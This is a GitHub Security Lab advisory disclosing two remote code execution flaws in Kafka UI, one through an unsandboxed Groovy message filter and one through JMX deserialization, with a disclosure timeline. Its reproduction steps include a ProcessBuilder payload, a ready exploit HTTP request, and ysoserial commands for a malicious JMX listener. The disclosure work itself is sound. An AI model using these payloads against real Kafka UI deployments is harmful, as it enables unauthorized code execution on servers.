Coordinated Disclosure Timeline
- 2023-11-29: The report sent to maintainers.kafka-ui at provectus.com.
- 2024-01-02: A follow-up email sent.
- 2024-01-23: No response received. A private security issue has been created at https://github.com/provectus/kafka-ui/ repository.
- 2024-02-19: No response received. An additional follow-up email sent with the notification about approaching 90 days disclosure deadline.
- 2024-02-29: No response received. An additional email sent to info at provectus.com.
- 2024-02-29: The maintainer responded that they fix the vulnerabilities as soon as possible.
- 2024-04-02: A follow-up email sent.
- 2024-04-08: The maintainer responded that they going to release the fix in mid April.
- 2024-04-10: The fix is released with version 0.7.2 of Kafka UI.
- 2024-04-10 (approximate): GitHub Security Lab team became aware that one of the reported vulnerabilities (GHSL-2023-229) was also independently identified and publicly disclosed by another researcher Lars Thingstad @Thingstad and Daniel Christensen @BobTheShoplifter at https://github.com/BobTheShoplifter/CVE-2023-52251-POC.
- 2024-06-19: GitHub Security Lab published full details for GHSL-2023-229 and GHSL-2023-230/CVE-2024-32030.
Summary
Kafka UI is affected by two remote code execution vulnerabilities. The first vulnerability in the message filtering component leads to execution of arbitrary unsandboxed groovy script. The second vulnerability can be exploited by abusing Kafka UI to connect to a malicious JMX server, which leads to RCE via unsafe deserialization. This is particularly dangerous, as Kafka UI does not have authentication enabled by default. If the authentication is enabled for the Kafka UI instance, an attacker needs to have a valid account.
Product
UI for Apache Kafka (https://github.com/provectus/kafka-ui)
Tested Version
Details
Issue 1: RCE via Groovy Script Execution in message filtering (GHSL-2023-229/CVE-2023-52251
)
Kafka UI allows to display messages going through the Kafka cluster based on the user’s provided filter. One of the filter types supported on the server is GROOVY_SCRIPT
. By using this filter, a potentially malicious person can not only view a message’s content and properties, but also execute arbitrary code on the server. This filter is not sandboxed by any means.
Vulnerable method: com.provectus.kafka.ui.emitter.MessageFilters#groovyScriptFilter
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
var engine = getGroovyEngine();
var compiledScript = compileScript(engine, script);
var jsonSlurper = new JsonSlurper();
return new Predicate<TopicMessageDTO>() {
@SneakyThrows
@Override
public boolean test(TopicMessageDTO msg) {
var bindings = engine.createBindings();
bindings.put("partition", msg.getPartition());
...
var result = compiledScript.eval(bindings);
Steps to reproduce
- Run Kafka UI with the default settings and connect it to any Kafka cluster.
- In the Kafka UI, navigate to the cluster->Topics->Messages and create a new filter with the following content:
new ProcessBuilder("touch","/tmp/pwnd.txt").start()
The same can be done by sending a following GET request to the application:
GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091
- If the current topic has any messages, the script will be evaluated immediately on the server. Alternatively, you can send a new message to the broker using the Kafka UI interface to trigger the script execution.
- After the execution, a
/tmp/pwnd.txt
file will be created on the server.
Impact
This issue may lead to post-auth remote code execution. This is particularly dangerous as Kafka UI does not have authentication enabled by default.
Issue 2: RCE via JNDI resolution in JMX metrics collection (GHSL-2023-230/CVE-2024-32030
)
Kafka UI API allows users to connect to different Kafka brokers by specifying their network address and port. As a separate feature, it also provides the ability to monitor the performance of Kafka brokers by connecting to their JMX ports. JMX is based on the RMI protocol, so it is inherently susceptible to deserialization attacks. A potential attacker can exploit this feature by connecting Kafka UI backend to its own malicious broker. Instead of setting up a legitimate JMX port, an attacker can create an RMI listener that returns a malicious serialized object for any RMI call. In the worst case it could lead to remote code execution as Kafka UI has the required gadget chains in its classpath.
Prerequisites: This vulnerability affects the deployments where one of the following occurs:
dynamic.config.enabled
property is set in settings. It’s not enabled by default, but it’s suggested to be enabled in many tutorials for Kafka UI, including its own README.md.- OR an attacker has access to the Kafka cluster that is being connected to Kafka UI. In this scenario the attacker can exploit this vulnerability to expand their access and execute code on Kafka UI as well.
Steps to reproduce
- Run Kafka UI with the default settings and
dynamic.config.enabled=true
. - Start any Kafka broker with a plaintext listener and no auth(locally or in docker). Do not connect it to Kafka UI yet.
- Now we need to set up a malicious JMX listener. We are going to use the ysoserial tool to generate a serizalied object with a payload for remote code execution. For this demonstration, I prepared a special fork of ysoserial in my repository: https://github.com/artsploit/ysoserial/tree/scala1 You can clone and run it with the following commands:
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
The tool will listen on port 1718 for incoming connections.
- In the Kafka UI, navigate to the Dashboard->Configure New Cluster and put the address of your kafka broker along with the ysoserial’s JMX port 1718. Make sure you run kafka broker and ysoserial on the localhost or the same host.
- As soon as you add this cluster, you can see an incoming connection in the ysoserial tool. It will respond to the Kafka UI with the malicious payload.
This payload will be deserialized on the Kafka UI side. It does not trigger RCE directly, but leads to setting the system property org.apache.commons.collections.enableUnsafeSerialization
to true
. You may notice some errors in Kafka UI logs, this is expected:
- Next, to actually get an RCE, you need to re-run ysoserial with the following command:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
If you wait a little longer, Kafka UI will reconnect to this JMX port to fetch metrics again, which triggers the deserialization of another object. As long as org.apache.commons.collections.enableUnsafeSerialization
has been enabled earlier by another payload, it will lead to the execution of the touch /tmp/pwnd2.txt
command in the Kafka UI java process.
Again, the Kafka UI log output will be full of errors, but that’s expected: all exceptions are thrown after the deserialization has happened and the command was executed:
If you’re curious how deserialization triggers System.setProperty
and command execution, feel free to have a look the source code for corresponding gadget chains: Scala1.java and CommonsCollections7.java
Also, you may set a breakpoint at StreamRemoteCall.java#L271 to see how an object is deserialized.
Impact
This issue may lead to post-auth remote code execution. This is particularly dangerous as Kafka-UI does not have authentication enabled by default.
CVE
- CVE-2023-52251
- CVE-2024-32030
Credit
These issues were discovered and reported by GHSL team member @artsploit (Michael Stepankin). Independently of GitHub Security lab, CVE-2023-52251 was also discovered by Lars Thingstad (@Thingstad) and Daniel Christensen (@BobTheShoplifter), who published their advisory at https://github.com/BobTheShoplifter/CVE-2023-52251-POC.
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-229
or GHSL-2023-230
in any communication regarding these issues.